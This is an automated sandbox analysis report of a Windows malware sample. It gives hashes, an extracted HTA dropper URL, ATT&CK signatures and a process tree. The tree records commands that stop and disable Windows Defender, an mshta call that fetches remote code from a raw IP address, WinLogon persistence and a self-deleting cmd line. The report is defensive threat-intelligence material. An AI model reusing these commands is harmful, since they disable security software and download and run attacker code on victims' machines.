Analysis

  • max time kernel
    150s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2024 03:37

General

  • Target

    eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe

  • Size

    2.3MB

  • MD5

    eeff0def88f30543c4b7f93976df37b4

  • SHA1

    299b1944a074d04e1f3f23a05918eb2fd4542c4a

  • SHA256

    1f59da5f8c3ed10ee6e27ca87592e3e81ab3cab6b7337ae40fae6a1e5887b243

  • SHA512

    0335863a8d5c3cb968f67429fbc375943717c20393230da083a335f3d2540d8ec9434513f45113d504b7f389c982268628f91129c2db279b4e8ae1fd3ac43fa8

  • SSDEEP

    49152:ukG9SpUleRvzfsEdDRUczjRO4Ye47YfW5I5GWMo/4abNpH1cZZ6k:uPSq6vzfJDRUczjfBGeF/4abNpVKZ6k

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=VORHPBAB&2=i-s&3=99&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 20 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe"
    1⤵
    • Event Triggered Execution: Image File Execution Options Injection
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2864
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2256
    • C:\Users\Admin\AppData\Roaming\qmypqy.exe
      C:\Users\Admin\AppData\Roaming\qmypqy.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2608
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2092
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=VORHPBAB&2=i-s&3=99&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2844
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EEFF0D~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2724

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Roaming\qmypqy.exe

    Filesize

    2.3MB

    MD5

    eeff0def88f30543c4b7f93976df37b4

    SHA1

    299b1944a074d04e1f3f23a05918eb2fd4542c4a

    SHA256

    1f59da5f8c3ed10ee6e27ca87592e3e81ab3cab6b7337ae40fae6a1e5887b243

    SHA512

    0335863a8d5c3cb968f67429fbc375943717c20393230da083a335f3d2540d8ec9434513f45113d504b7f389c982268628f91129c2db279b4e8ae1fd3ac43fa8

  • memory/2272-0-0x0000000000400000-0x0000000000887000-memory.dmp

    Filesize

    4.5MB

  • memory/2272-1-0x0000000000290000-0x00000000002EA000-memory.dmp

    Filesize

    360KB

  • memory/2272-38-0x0000000000A40000-0x0000000000A41000-memory.dmp

    Filesize

    4KB

  • memory/2272-37-0x0000000002350000-0x0000000002351000-memory.dmp

    Filesize

    4KB

  • memory/2272-36-0x0000000002370000-0x0000000002371000-memory.dmp

    Filesize

    4KB

  • memory/2272-35-0x0000000002340000-0x0000000002341000-memory.dmp

    Filesize

    4KB

  • memory/2272-34-0x0000000000C30000-0x0000000000C31000-memory.dmp

    Filesize

    4KB

  • memory/2272-33-0x0000000000C40000-0x0000000000C41000-memory.dmp

    Filesize

    4KB

  • memory/2272-32-0x0000000000C50000-0x0000000000C51000-memory.dmp

    Filesize

    4KB

  • memory/2272-31-0x00000000034A0000-0x00000000034A1000-memory.dmp

    Filesize

    4KB

  • memory/2272-30-0x0000000000A70000-0x0000000000A71000-memory.dmp

    Filesize

    4KB

  • memory/2272-29-0x0000000000A20000-0x0000000000A21000-memory.dmp

    Filesize

    4KB

  • memory/2272-28-0x0000000000A50000-0x0000000000A51000-memory.dmp

    Filesize

    4KB

  • memory/2272-27-0x00000000009E0000-0x00000000009E1000-memory.dmp

    Filesize

    4KB

  • memory/2272-26-0x00000000009F0000-0x00000000009F1000-memory.dmp

    Filesize

    4KB

  • memory/2272-25-0x0000000000A00000-0x0000000000A01000-memory.dmp

    Filesize

    4KB

  • memory/2272-24-0x00000000034A0000-0x00000000034A1000-memory.dmp

    Filesize

    4KB

  • memory/2272-23-0x00000000034A0000-0x00000000034A1000-memory.dmp

    Filesize

    4KB

  • memory/2272-22-0x00000000034A0000-0x00000000034A1000-memory.dmp

    Filesize

    4KB

  • memory/2272-21-0x00000000034A0000-0x00000000034A1000-memory.dmp

    Filesize

    4KB

  • memory/2272-20-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-19-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-18-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-17-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-16-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-15-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-14-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-13-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-12-0x0000000000900000-0x0000000000901000-memory.dmp

    Filesize

    4KB

  • memory/2272-11-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-10-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-9-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-8-0x00000000009C0000-0x00000000009C1000-memory.dmp

    Filesize

    4KB

  • memory/2272-7-0x0000000000920000-0x0000000000921000-memory.dmp

    Filesize

    4KB

  • memory/2272-6-0x0000000000970000-0x0000000000971000-memory.dmp

    Filesize

    4KB

  • memory/2272-5-0x00000000003F0000-0x00000000003F1000-memory.dmp

    Filesize

    4KB

  • memory/2272-4-0x00000000001D0000-0x00000000001D1000-memory.dmp

    Filesize

    4KB

  • memory/2272-3-0x00000000001E0000-0x00000000001E1000-memory.dmp

    Filesize

    4KB

  • memory/2272-2-0x00000000001F0000-0x00000000001F1000-memory.dmp

    Filesize

    4KB

  • memory/2272-39-0x00000000034A0000-0x00000000034A1000-memory.dmp

    Filesize

    4KB

  • memory/2272-40-0x0000000000400000-0x0000000000887000-memory.dmp

    Filesize

    4.5MB

  • memory/2272-44-0x00000000001C0000-0x00000000001C1000-memory.dmp

    Filesize

    4KB

  • memory/2272-43-0x00000000001B0000-0x00000000001B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-42-0x0000000003490000-0x0000000003492000-memory.dmp

    Filesize

    8KB

  • memory/2272-41-0x00000000034A0000-0x00000000034A3000-memory.dmp

    Filesize

    12KB

  • memory/2272-48-0x0000000000290000-0x00000000002EA000-memory.dmp

    Filesize

    360KB

  • memory/2272-56-0x0000000004940000-0x0000000004DC7000-memory.dmp

    Filesize

    4.5MB

  • memory/2272-54-0x00000000034B0000-0x00000000034B1000-memory.dmp

    Filesize

    4KB

  • memory/2272-60-0x0000000000400000-0x0000000000887000-memory.dmp

    Filesize

    4.5MB

  • memory/2272-59-0x0000000000290000-0x00000000002EA000-memory.dmp

    Filesize

    360KB

  • memory/2272-53-0x0000000004940000-0x0000000004DC7000-memory.dmp

    Filesize

    4.5MB

  • memory/2712-57-0x0000000000400000-0x0000000000887000-memory.dmp

    Filesize

    4.5MB

  • memory/2712-62-0x0000000000400000-0x0000000000887000-memory.dmp

    Filesize

    4.5MB